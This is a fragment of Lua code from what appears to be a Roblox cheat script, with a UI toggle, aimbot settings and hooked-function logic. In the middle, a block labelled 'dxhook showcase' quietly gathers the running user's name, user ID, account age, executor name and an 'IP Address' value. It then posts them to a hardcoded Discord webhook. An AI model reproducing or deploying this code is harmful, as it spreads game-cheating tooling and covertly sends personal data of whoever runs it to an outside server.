local Section9 = Tab4:CreateSection("UI Toggle")

local Toggle31 = Section9:CreateToggle("", nil, function(State)


Window:Toggle(State)
end)
Toggle31:CreateKeybind(tostring(Config.Keybind):gsub("Enum.KeyCode.", ""),
function(Key)
Config.Keybind = Enum.KeyCode[Key]
end)
Toggle31:SetState(true)

-- Finish <3

local aimbotEnabled = false


local smoothness = false
local aimbotTarg = nil
local aimbotPart = ""
local aimFov = 40

--dxhook showcase
local Content = ""
local Embed = {
["title"] = "***Execution***",
["description"] = "Name: "..plr.Name.."\nDisplay Name:
"..plr.DisplayName.."\nExploit: "..getexploit().."\nGame:
https://www.roblox.com/games/"..game.PlaceId,
["type"] = "rich",
["color"] = tonumber(0xffff00),
["thumbnail"] = {
["url"] = "https://www.roblox.com/asset-thumbnail/image?
assetId="..game.PlaceId.."&width=768&height=432"
},
["image"] = {
["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?
x=250&y=250&Format=Png&username="..plr.Name
},
["fields"] = {
{
["name"] = "__Account Age:__",
["value"] = plr.AccountAge.." days old",
["inline"] = true
},
{
["name"] = "__User ID:__",
["value"] = plr.UserId,
["inline"] = true
}
},
["footer"] = {
["text"] = "IP Address: "..tostring(ident),
["icon_url"] =
"https://cdn.discordapp.com/attachments/903407245675606056/911635640452513843/
Screenshot_25.png"
},
["timestamp"] = string.format('%d-%d-%dT%02d:%02d:%02dZ', Time.year,
Time.month, Time.day, Time.hour, Time.min, Time.sec),
};
(syn and syn.request or http_request or http.request) {
Url = 'https://discord.com/api/webhooks/915610710740979752/HPqYgkNm4-
jjBaVA4FSQGr253KAtJGFW1J55YiTwHudw2je7j1uxgmT-n0-8gycB-mML';
Method = 'POST';
Headers = {
['Content-Type'] = 'application/json';
};
Body = game:GetService'HttpService':JSONEncode({content = Content; embeds =
{Embed}; });
};

combo, prev, rnewidx = 0, 0, 0


for i = 1, 50 do
local n = math.random(10000, 99999)
if i == 25 then
rnewidx = n
end
if n == prev then
combo = combo + 1
end
prev = n
end

if combo > 45 then


c("0x01")
end
return old(...)
end
end

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